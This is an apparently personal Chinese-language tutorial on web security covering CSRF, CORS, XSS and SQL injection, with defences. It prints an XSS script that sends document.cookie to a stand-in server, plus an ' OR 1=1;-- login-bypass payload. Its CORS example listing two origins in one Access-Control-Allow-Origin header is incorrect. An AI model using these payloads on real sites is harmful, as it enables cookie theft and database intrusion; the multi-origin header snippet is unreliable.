---
# System prepended metadata

title: 惡意攻擊與網頁資安
tags: [Security]

---

---
title: 惡意攻擊與網頁資安
tags:
    - Security
author: Boris Chien

---
# 惡意攻擊與網頁資安

## 沒有絕對安全的系統

[我是誰：沒有任何一個系統是安全的](https://zh.wikipedia.org/zh-tw/%E6%88%91%E6%98%AF%E8%B0%81%EF%BC%9A%E6%B2%A1%E6%9C%89%E7%BB%9D%E5%AF%B9%E5%AE%89%E5%85%A8%E7%9A%84%E7%B3%BB%E7%BB%9F)中，主角利用巧妙的[社交工程學](https://zh.wikipedia.org/zh-tw/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6)，輕易地破解各種戒備森嚴的德國聯邦情報局，後半部與MRX各種鬥智鬥勇讓人看得大呼過癮，雖然難以防範所有的攻擊，但熟悉各種攻擊手法，才能盡可能降低被駭入的機率。


## 攻擊類型

> -   惡意軟體
> -   網路釣魚
> -   中間人
> -   阻斷服務
> -   SQL 注入
> -   APT 攻擊（進階持續性威脅）
> -   零時差攻擊
> -   跨網站指令碼攻擊（XSS）

[Day 4 : 觀念篇 - 常見的資安攻擊類型有哪些？](https://ithelp.ithome.com.tw/articles/10293786)

## 跨站請求偽造 CSRF

簡單來說:有人偽造使用者身分去做壞事

伺服器認證，大多透過 Request 資訊判斷，無法確認來源是否為本人，這也是多因素驗證漸漸取代單一驗證原因之一。

當使用者已經登入了一個網站並開啟 session，攻擊者就可以利用 CSRF 攻擊來在使用者不知情的情況下，以使用者的名義向該網站發出各種請求，例如發送電子郵件、張貼消息、轉賬等，以達到攻擊者的目的。

攻擊者可以在網站上放置一個假的表單，這個表單的 action 指向受害者網站的某個操作，當受害者登入該網站後點擊假表單時，請求就會被發送，伺服器無法區分這個請求是由攻擊者還是受害者發出的，就會執行相應的操作。

## 網頁防護

* 隨機 token，在表單提交 token 確認請求的合法性，這樣攻擊者就無法通過假表單來進行攻擊。

* Referrer Policy，限制來自外部網站的請求，避免攻擊者通過 Referer 欄位來進行攻擊。

* 驗證機制，例如 Captcha，讓攻擊者無法自動化地提交假表單。

* 避免 GET 請求中傳遞敏感數據，將其改為 POST 請求或加密來保護數據。

* 敏感數據保存在服務端，並通過 Session Id 或其他方式進行身份驗證。

* Middleware，檢查和過濾 HTTP 請求。XSS，SQL 注入，跨站請求偽造，點擊劫持攻擊

## 同源策略 Same-Origin Policy

網頁調用第三方服務，基於安全性，會限制非同源網域請求。在網站 A 的前端中發送了請求到網站 B，瀏覽器會阻止該請求並報告 CORS 錯誤。避免跨站點請求偽造 (CSRF) 或跨點腳本 (XSS)。
瀏覽器使用同源策略來防止跨域請求，只允許訪問屬於同一個源。如果需要向其他源的資源發送請求，可以使用跨域資源共享（CORS）。

## 跨域資源共享

瀏覽器與伺服器配合，才能實現跨域請求。

### CORS

跨域資源共享是一種標準的瀏覽器機制，它使用額外的 HTTP header 來告訴瀏覽器哪些源是被允許的。當瀏覽器發送跨域請求時，伺服器可以在回應中設置相應的 CORS header，告訴瀏覽器是否允許跨域請求，允許請求方法、頭部等。在前端代碼中，可以使用 XMLHttpRequest 或 Fetch API 等方式發送跨域請求，瀏覽器會自動處理 CORS 機制。


### 伺服器回應

```
header('Access-Control-Allow-Origin: https://example.com');
```

白名單
```
header('Access-Control-Allow-Origin: https://example.com, https://example.org');
```

2.特定方法
```
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE');
```

3.特定 headers
```
header('Access-Control-Allow-Headers: Origin, Content-Type, Accept');
```
4.禁用憑證

```
header('Access-Control-Allow-Credentials: false');
```

5.請求數量限制
```
header('Access-Control-Max-Age: 3600');
```
## XSS

> 惡意使用者將程式碼注入到網頁上，其他使用者在觀看網頁時就會受到影響。這類攻擊通常包含了 HTML 以及瀏覽器語言。

[XSS 攻擊](https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC)
{% codeblock lang:js %}

<script>
var i = new Image();
i.src = "http://yourserver.com/log.php?cookie=" + document.cookie;
</script>

{% endcodeblock %}

SRC 設置為攜帶用戶 cookie 信息的 URL。當瀏覽器加載圖像時，發送 HTTP 請求到攻擊者的服務器，夾帶受害者 cookie。攻擊者可以在伺服器記錄 cookie，用於進一步攻擊。

* 輸入驗證和過濾：在用戶輸入數據之前對其進行驗證和過濾。可以使用一些現成的庫，如 DOMPurify 和 XSS 庫來進行輸入驗證和過濾。這可以幫助防止用戶在輸入中包含惡意腳本。

* 轉義輸出：在將用戶輸入數據渲染到頁面上之前，應將其進行轉義。防止惡意腳本在頁面上執行。例如，將所有特殊字符（如<、>和&）轉換為它們的 HTML 實體編碼（如<、>和&）。

* Content Security Policy（CSP）：指定來源加載資源。使用 CSP 可以幫助防止惡意腳本的注入和執行。例如，可以設置策略，禁止加載來外源腳本或樣式表。

* 設置 HTTP-only Cookie：設置 Cookie 為 HTTP-only。防止 XSS 攻擊者在用戶瀏覽器中竊取 Cookie。


## SQL injection

> SQL 隱碼或 SQL 注碼，是發生於應用程式與資料庫層的安全漏洞。簡而言之，是在輸入的字串之中夾帶 SQL 指令，在設計不良的程式當中忽略了字元檢查，那麼這些夾帶進去的惡意指令就會被資料庫伺服器誤認為是正常的 SQL 指令而執行，因此遭到破壞或是入侵

[SQL 注入](https://zh.wikipedia.org/zh-tw/SQL%E6%B3%A8%E5%85%A5)

users 表

```
users
------------------
id | username | password
------------------
1  | Alice    | pass123
2  | Bob      | 12345
3  | Charlie  | qwerty
```

表單
```
<form method="POST" action="login.php">
  <label for="username">Username:</label>
  <input type="text" id="username" name="username">
  <br>
  <label for="password">Password:</label>
  <input type="password" id="password" name="password">
  <br>
  <input type="submit" value="Login">
</form>
```

惡意 SQL
```
' OR 1=1;--
```



SQL 變成
```
SELECT \* FROM users WHERE username='' OR 1=1;--' AND password=''
```

users 全部選出
```
SELECT \* FROM users
```


## 總結

* 前端，輸入驗證、過濾、清洗、轉義。

* 後端，身份驗證和授權，過濾非法、未授權請求。

* 雲端，防止惡意流量。
